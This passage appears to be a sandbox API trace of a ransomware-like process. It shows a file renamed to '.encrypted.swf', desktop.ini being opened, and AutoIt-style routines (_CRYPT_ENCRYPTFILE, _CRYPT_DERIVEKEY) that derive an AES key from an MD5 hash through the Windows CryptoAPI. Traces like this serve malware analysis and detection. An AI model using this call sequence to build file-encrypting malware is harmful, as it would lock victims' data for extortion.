lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 55 [0029.052] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051040*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051040*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x36, lpOverlapped=0x0) returned 1 [0029.052] CloseHandle (hObject=0x1fc) returned 1 [0029.053] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.053] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.053] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.053] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.053] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.053] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.053] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.054] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.055] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.055] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.055] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\desktop.ini", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0029.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\desktop.ini", cchWideChar=40, lpMultiByteStr=0xe8f41885d0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\desktop.ini", lpUsedDefaultChar=0x0) returned 40 [0029.055] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=40, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0029.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=40, lpWideCharStr=0xe8f4069590, cchWideChar=40 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\desktop.ini") returned 40 [0029.056] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.056] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.057] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.057] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.057] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.057] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.057] CloseHandle (hObject=0x1fc) returned 1 [0029.057] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.058] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.058] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.058] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.058] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.058] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.058] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.058] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.059] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.059] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.059] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.059] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.060] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.060] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.060] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.061] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.061] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.061] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.061] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.061] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.061] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.062] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.062] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418bae0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.062] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.062] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.062] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 